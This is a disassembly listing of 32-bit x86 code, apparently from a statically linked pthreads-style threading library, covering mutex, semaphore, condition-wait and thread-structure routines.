loc_42A92B: ; CODE XREF: sub_42A850+131j push offset dword_4B27E0 call ds:dword_4B3868 mov dword ptr [esi+18h], 0 mov ecx, ds:dword_4B26EC mov [esi+1Ch], ecx mov eax, ds:dword_4B26EC test eax, eax jz short loc_42A952 mov [eax+18h], esi loc_42A952: ; CODE XREF: sub_42A850+FDj mov eax, ds:dword_4B26E8 mov ds:dword_4B26EC, esi test eax, eax jnz short loc_42A967 mov ds:dword_4B26E8, esi loc_42A967: ; CODE XREF: sub_42A850+10Fj push offset dword_4B27E0 call ds:dword_4B386C loc_42A972: ; CODE XREF: sub_42A850+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42A97F: ; CODE XREF: sub_42A850+B7j xor edi, edi jmp short loc_42A92B sub_42A850 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A9E0 proc near ; CODE XREF: sub_4019B0j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42AB8C mov eax, [edi] test eax, eax jz loc_42AB8C cmp eax, 0FFFFFFFFh jz loc_42AB43 push offset dword_4B27E0 call ds:dword_4B3868 mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42AA39 call ds:dword_4B3A50 mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AA39: ; CODE XREF: sub_42A9E0+49j lea ebp, [esi+14h] push ebp call sub_4016DB add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42AA60 push ebx call sub_401037 mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AA60: ; CODE XREF: sub_42A9E0+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42AA99 push ebx call sub_401037 add esp, 4 test eax, eax jz short loc_42AA82 call ds:dword_4B3A50 mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42AA82: ; CODE XREF: sub_42A9E0+94j push ebp call sub_4010AF add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42AB2E ; --------------------------------------------------------------------------- loc_42AA99: ; CODE XREF: sub_42A9E0+87j push ebx mov dword ptr [edi], 0 call sub_4015FA mov edi, ds:dword_4B3A50 add esp, 4 test eax, eax jz short loc_42AABA call edi mov edx, [eax] mov [esp+14h+arg_0], edx loc_42AABA: ; CODE XREF: sub_42A9E0+D0j lea eax, [esi+0Ch] push eax call sub_4015FA add esp, 4 test eax, eax jz short loc_42AAD2 call edi mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42AAD2: ; CODE XREF: sub_42A9E0+E8j push ebp call sub_4010AF mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42AAEC push ebp call sub_402090 add esp, 4 mov ebx, eax loc_42AAEC: ; CODE XREF: sub_42A9E0+FFj cmp ds:dword_4B26E8, esi jnz short loc_42AAFF mov edx, [esi+18h] mov ds:dword_4B26E8, edx jmp short loc_42AB08 ; --------------------------------------------------------------------------- loc_42AAFF: ; CODE XREF: sub_42A9E0+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42AB08: ; CODE XREF: sub_42A9E0+11Dj cmp ds:dword_4B26EC, esi jnz short loc_42AB1B mov edx, [esi+1Ch] mov ds:dword_4B26EC, edx jmp short loc_42AB24 ; --------------------------------------------------------------------------- loc_42AB1B: ; CODE XREF: sub_42A9E0+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42AB24: ; CODE XREF: sub_42A9E0+139j push esi call ds:dword_4B3AAC add esp, 4 loc_42AB2E: ; CODE XREF: sub_42A9E0+B4j push offset dword_4B27E0 call ds:dword_4B386C mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42AB72 ; --------------------------------------------------------------------------- loc_42AB43: ; CODE XREF: sub_42A9E0+28j push offset dword_4B2760 call ds:dword_4B3868 cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42AB5B mov dword ptr [edi], 0 jmp short loc_42AB67 ; --------------------------------------------------------------------------- loc_42AB5B: ; CODE XREF: sub_42A9E0+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42AB67: ; CODE XREF: sub_42A9E0+179j push offset dword_4B2760 call ds:dword_4B386C loc_42AB72: ; CODE XREF: sub_42A9E0+161j test esi, esi jz short loc_42AB7E mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AB7E: ; CODE XREF: sub_42A9E0+194j test ebp, ebp mov eax, ebp jnz short loc_42AB91 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AB8C: ; CODE XREF: sub_42A9E0+15j ; sub_42A9E0+1Fj mov eax, 16h loc_42AB91: ; CODE XREF: sub_42A9E0+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42A9E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AC10 proc near ; CODE XREF: sub_4011DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42AC40 add esp, 0Ch retn sub_42AC10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AC40 proc near ; CODE XREF: sub_42AC10+Cp ; sub_42AF10+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42AD49 mov eax, [esi] test eax, eax jz loc_42AD49 cmp eax, 0FFFFFFFFh jnz short loc_42AC82 push esi call sub_401A5A add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42AC82 cmp eax, 10h jnz loc_42AD4E loc_42AC82: ; CODE XREF: sub_42AC40+26j ; sub_42AC40+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_40103C add esp, 4 test eax, eax jz short loc_42ACA2 call ds:dword_4B3A50 mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42ACA2: ; CODE XREF: sub_42AC40+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_401037 add esp, 4 test eax, eax jz short loc_42ACC2 call ds:dword_4B3A50 mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42ACC2: ; CODE XREF: sub_42AC40+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42ADB0 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_4015D7 push edi call sub_4010AF add esp, 10h mov [esp+28h+var_20], eax test eax, eax jnz short loc_42AD2A mov eax, [esp+28h+arg_8] add esi, 0Ch push eax push esi call sub_4017CB add esp, 8 test eax, eax jz short loc_42AD26 call ds:dword_4B3A50 mov eax, [eax] mov [esp+28h+var_20], eax jmp short loc_42AD2A ; --------------------------------------------------------------------------- loc_42AD26: ; CODE XREF: sub_42AC40+D6j mov eax, [esp+28h+var_20] loc_42AD2A: ; CODE XREF: sub_42AC40+C1j ; sub_42AC40+E4j xor ecx, ecx push 1 test eax, eax setz cl mov [esp+2Ch+var_4], ecx call sub_401109 mov eax, [esp+2Ch+var_20] add esp, 4 pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42AD49: ; CODE XREF: sub_42AC40+13j ; sub_42AC40+1Dj mov eax, 16h loc_42AD4E: ; CODE XREF: sub_42AC40+3Cj pop edi pop esi add esp, 20h retn sub_42AC40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ADB0: ; DATA XREF: sub_42AC40+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_40208B add esp, 4 test eax, eax jz short loc_42ADDB pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42ADDB: ; CODE XREF: _294ADE7B:0042ADD1j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42ADEE lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42AE57 ; --------------------------------------------------------------------------- loc_42ADEE: ; CODE XREF: _294ADE7B:0042ADE4j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42AE57 lea ebx, [esi+10h] push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42AE22 call ds:dword_4B3A50 mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AE22: ; CODE XREF: _294ADE7B:0042AE0Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_401037 add esp, 4 test eax, eax jz short loc_42AE4C call ds:dword_4B3A50 mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AE4C: ; CODE XREF: _294ADE7B:0042AE36j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42AE57: ; CODE XREF: _294ADE7B:0042ADECj ; _294ADE7B:0042ADFCj push edi call sub_4010AF add esp, 4 test eax, eax jz short loc_42AE70 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AE70: ; CODE XREF: _294ADE7B:0042AE62j cmp ebx, 1 jnz short loc_42AE99 add esi, 10h push esi call sub_401037 add esp, 4 test eax, eax jz short loc_42AE99 call ds:dword_4B3A50 mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42AE99: ; CODE XREF: _294ADE7B:0042AE73j ; _294ADE7B:0042AE83j mov ecx, [ebp+0] push ecx call sub_40208B add esp, 4 test eax, eax jz short loc_42AEAF mov edx, [esp+18h] mov [edx], eax loc_42AEAF: ; CODE XREF: _294ADE7B:0042AEA7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF10 proc near ; CODE XREF: sub_4011B8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42AF1E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42AF1E: ; CODE XREF: sub_42AF10+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42AC40 add esp, 0Ch retn sub_42AF10 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF50 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42AF70 add esp, 8 retn sub_42AF50 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF70 proc near ; CODE XREF: sub_42AF50+7p ; sub_42B0D0+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42B074 mov esi, [eax] test esi, esi jz loc_42B074 cmp esi, 0FFFFFFFFh jnz short loc_42AF94 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42AF94: ; CODE XREF: sub_42AF70+1Cj lea ebx, [esi+14h] push ebx call sub_40208B add esp, 4 test eax, eax jnz loc_42B079 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42AFE4 test eax, eax jnz short loc_42AFC2 loc_42AFB5: ; CODE XREF: sub_42AF70+77j push ebx call sub_4010AF add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42AFC2: ; CODE XREF: sub_42AF70+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42AFD9 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42B046 ; --------------------------------------------------------------------------- loc_42AFD9: ; CODE XREF: sub_42AF70+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42B043 ; --------------------------------------------------------------------------- loc_42AFE4: ; CODE XREF: sub_42AF70+3Fj cmp eax, [esi+4] jle short loc_42AFB5 lea ecx, [esi+10h] push ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42B010 call ds:dword_4B3A50 mov esi, [eax] push ebx call sub_4010AF add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42B010: ; CODE XREF: sub_42AF70+87j mov eax, [esi+4] test eax, eax jz short loc_42B024 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42B024: ; CODE XREF: sub_42AF70+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42B039 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42B046 ; --------------------------------------------------------------------------- loc_42B039: ; CODE XREF: sub_42AF70+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42B043: ; CODE XREF: sub_42AF70+72j dec eax mov [esi], eax loc_42B046: ; CODE XREF: sub_42AF70+67j ; sub_42AF70+C7j push ebx call sub_4010AF mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42B06E add esi, 0Ch push edi push esi call sub_401EDD add esp, 8 test eax, eax jz short loc_42B06E call ds:dword_4B3A50 mov ebx, [eax] loc_42B06E: ; CODE XREF: sub_42AF70+E3j ; sub_42AF70+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42B074: ; CODE XREF: sub_42AF70+9j ; sub_42AF70+13j mov eax, 16h loc_42B079: ; CODE XREF: sub_42AF70+32j pop edi pop esi pop ebx retn sub_42AF70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0D0 proc near ; CODE XREF: sub_401587j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42AF70 add esp, 8 retn sub_42B0D0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0F0 proc near ; CODE XREF: sub_40120Dj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401A28 mov esi, eax test esi, esi jz loc_42B1C6 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax call ds:dword_4B3AB0 mov ebx, eax add esp, 4 test ebx, ebx jz loc_42B1C6 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42B16E mov eax, [ebp+0] test eax, eax jz short loc_42B16E mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42B170 call sub_4012AD mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42B170 ; --------------------------------------------------------------------------- loc_42B16E: ; CODE XREF: sub_42B0F0+4Dj ; sub_42B0F0+54j xor edi, edi loc_42B170: ; CODE XREF: sub_42B0F0+6Ej ; sub_42B0F0+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401AA0 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call ds:dword_4B3A40 mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_42B1B9 test ebp, ebp jz short loc_42B1B2 cmp dword ptr [ebp+0], 0 jz short loc_42B1B2 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_401F3C add esp, 0Ch loc_42B1B2: ; CODE XREF: sub_42B0F0+AAj ; sub_42B0F0+B0j push edi call ds:dword_4B3840 loc_42B1B9: ; CODE XREF: sub_42B0F0+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_42B1F9 loc_42B1C6: ; CODE XREF: sub_42B0F0+14j ; sub_42B0F0+30j push esi call sub_4016F4 add esp, 4 xor esi, esi test ebx, ebx jz short loc_42B1EC push ebx call ds:dword_4B3AAC mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42B1EC: ; CODE XREF: sub_42B0F0+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42B1F9: ; CODE XREF: sub_42B0F0+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42B0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B260: ; CODE XREF: _294ADE7B:00401302j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_42B297 ; default jmp off_42B29C[ecx*4] ; switch jump loc_42B275: ; DATA XREF: _294ADE7B:off_42B29Co call sub_401672 ; jumptable 0042B26E case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_42B27D: ; CODE XREF: _294ADE7B:0042B26Ej ; DATA XREF: _294ADE7B:off_42B29Co call sub_4016F9 ; jumptable 0042B26E case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_42B285: ; CODE XREF: _294ADE7B:0042B26Ej ; DATA XREF: _294ADE7B:off_42B29Co call sub_401708 ; jumptable 0042B26E case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_42B28D: ; CODE XREF: _294ADE7B:0042B26Ej ; DATA XREF: _294ADE7B:off_42B29Co call sub_401708 ; jumptable 0042B26E case 0 call sub_4015A0 locret_42B297: ; CODE XREF: _294ADE7B:0042B26Cj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_42B29C dd offset loc_42B28D ; DATA XREF: _294ADE7B:0042B26Er dd offset loc_42B275 ; jump table for switch statement dd offset loc_42B27D dd offset loc_42B285 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B2D0: ; CODE XREF: _294ADE7B:004016FEj mov eax, ds:dword_4B26E0 push esi push edi push eax call sub_40116D mov edi, [esp+10h] mov esi, eax add esp, 4 test esi, esi jnz short loc_42B2F4 push edi call ds:dword_4B3A3C add esp, 4 loc_42B2F4: ; CODE XREF: _294ADE7B:0042B2E8j push 1 mov [esi+14h], edi call sub_401CA8 add esp, 4 pop edi pop esi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B320 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_4B2720 xor esi, esi call ds:dword_4B3868 mov eax, [esp+4+arg_0] test eax, eax jz short loc_42B34B mov eax, [eax+4] test eax, eax jz short loc_42B34B push eax call ds:dword_4B3830 cmp eax, 7FFFFFFFh jnz short loc_42B350 loc_42B34B: ; CODE XREF: sub_42B320+14j ; sub_42B320+1Bj mov esi, 3 loc_42B350: ; CODE XREF: sub_42B320+29j push offset dword_4B2720 call ds:dword_4B386C test esi, esi jnz short loc_42B36C mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_42B36E loc_42B36C: ; CODE XREF: sub_42B320+3Dj mov eax, esi loc_42B36E: ; CODE XREF: sub_42B320+4Aj pop esi retn sub_42B320 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B390: ; CODE XREF: _294ADE7B:004015C8j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_42B3E1 mov edi, [esp+14h] test edi, edi jz short loc_42B3E1 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_42B3C1 lea eax, [esi+4] push eax call ds:dword_4B382C test eax, eax jnz short loc_42B3C7 call edi mov dword ptr [esi], 1 loc_42B3C1: ; CODE XREF: _294ADE7B:0042B3A9j ; _294ADE7B:0042B3CAj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42B3C7: ; CODE XREF: _294ADE7B:0042B3B7j cmp dword ptr [esi], 0 jnz short loc_42B3C1 mov edi, ds:dword_4B38CC loc_42B3D2: ; CODE XREF: _294ADE7B:0042B3D9j push 0 call edi cmp dword ptr [esi], 0 jz short loc_42B3D2 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42B3E1: ; CODE XREF: _294ADE7B:0042B399j ; _294ADE7B:0042B3A1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B410 proc near ; CODE XREF: sub_4012ADj mov eax, ds:dword_4B26E0 push esi push edi push eax call sub_40116D mov esi, eax add esp, 4 test esi, esi jnz short loc_42B49C call sub_401A28 mov esi, eax test esi, esi jz short loc_42B48C mov edi, [esi+7Ch] mov eax, 1 or edi, eax push ebx mov [esi+7Ch], edi mov [esi+20h], eax call ds:dword_4B3824 mov ebx, ds:dword_4B3878 push 2 lea edi, [esi+4] push 0 push 0 push edi mov [esi], eax call ebx push eax call ds:dword_4B3874 push eax call ebx push eax call ds:dword_4B3828 test eax, eax pop ebx jnz short loc_42B480 push esi call sub_401AC3 add esp, 4 xor eax, eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42B480: ; CODE XREF: sub_42B410+60j mov ecx, [edi] push ecx call ds:dword_4B3830 mov [esi+28h], eax loc_42B48C: ; CODE XREF: sub_42B410+1Fj mov edx, ds:dword_4B26E0 push esi push edx call sub_401F5A add esp, 8 loc_42B49C: ; CODE XREF: sub_42B410+14j mov eax, esi pop edi pop esi retn sub_42B410 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4E0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_42B4FE test eax, eax jz short loc_42B4F8 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_42B4FE loc_42B4F8: ; CODE XREF: sub_42B4E0+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42B4FE: ; CODE XREF: sub_42B4E0+Aj ; sub_42B4E0+16j xor eax, eax retn sub_42B4E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B520: ; CODE XREF: _294ADE7B:00401E92j mov eax, [esp+4] test eax, eax jge short loc_42B52E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42B52E: ; CODE XREF: _294ADE7B:0042B526j mov ds:dword_4B26F0, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: _294ADE7B:004014F1j mov eax, ds:dword_4B26F0 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B570 proc near ; CODE XREF: sub_401A28j push esi call sub_4012C6 mov esi, eax test esi, esi jnz short loc_42B592 push 84h push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jz short loc_42B5D9 loc_42B592: ; CODE XREF: sub_42B570+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax call ds:dword_4B3820 test eax, eax mov [esi+38h], eax jnz short loc_42B5D9 push esi call sub_401AC3 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42B5D9: ; CODE XREF: sub_42B570+20j ; sub_42B570+5Aj mov eax, esi pop esi retn sub_42B570 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B600 proc near ; CODE XREF: sub_4012C6j push esi push offset dword_4B2720 call ds:dword_4B3868 mov esi, ds:dword_43FA0C cmp esi, 1 jz short loc_42B635 mov eax, [esi+8] push offset dword_4B2720 mov ds:dword_43FA0C, eax mov dword ptr [esi+8], 0 call ds:dword_4B386C mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42B635: ; CODE XREF: sub_42B600+15j push offset dword_4B2720 xor esi, esi call ds:dword_4B386C mov eax, esi pop esi retn sub_42B600 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B670 proc near ; CODE XREF: sub_401AC3j arg_0 = dword ptr 4 push edi push offset dword_4B2720 call ds:dword_4B3868 mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, ds:dword_43FA0C push offset dword_4B2720 mov [edx+8], eax mov ds:dword_43FA0C, edx call ds:dword_4B386C pop edi retn sub_42B670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6C0 proc near ; CODE XREF: sub_4015BEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_42B6E0 add esp, 8 retn sub_42B6C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6E0 proc near ; CODE XREF: sub_42B6C0+7p ; sub_42B800+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012AD mov esi, eax test esi, esi jz short loc_42B716 mov eax, [esi+30h] test eax, eax jnz short loc_42B71E mov eax, [esi+38h] test eax, eax mov [esp+10h+var_4], eax jz short loc_42B71E mov edi, 2 jmp short loc_42B71E ; --------------------------------------------------------------------------- loc_42B716: ; CODE XREF: sub_42B6E0+1Bj mov [esp+10h+var_4], 0 loc_42B71E: ; CODE XREF: sub_42B6E0+22j ; sub_42B6E0+2Dj ... mov ecx, [esp+10h+arg_4] lea edx, [esp+10h+var_8] push ecx push 0 push edx push edi call ds:dword_4B381C mov ecx, eax sub ecx, 0 jz short loc_42B7A9 dec ecx jz short loc_42B754 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_42B754: ; CODE XREF: sub_42B6E0+59j mov eax, [esp+10h+var_4] push eax call ds:dword_4B384C test esi, esi jz short loc_42B79E lea edi, [esi+2Ch] push edi call sub_40208B mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_42B795 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010AF push 2 call sub_401CA8 add esp, 8 loc_42B795: ; CODE XREF: sub_42B6E0+99j push edi call sub_4010AF add esp, 4 loc_42B79E: ; CODE XREF: sub_42B6E0+81j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_42B7A9: ; CODE XREF: sub_42B6E0+56j pop edi xor eax, eax pop esi add esp, 8 retn sub_42B6E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B800 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_42B6E0 add esp, 8 retn sub_42B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B830 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 push esi push offset dword_4B2780 xor esi, esi call ds:dword_4B3868 mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42B864 push esi push ecx call sub_40200E add esp, 8 mov esi, eax push offset dword_4B2780 call ds:dword_4B386C mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42B864: ; CODE XREF: sub_42B830+17j test eax, eax jnz short loc_42B86D mov esi, 16h loc_42B86D: ; 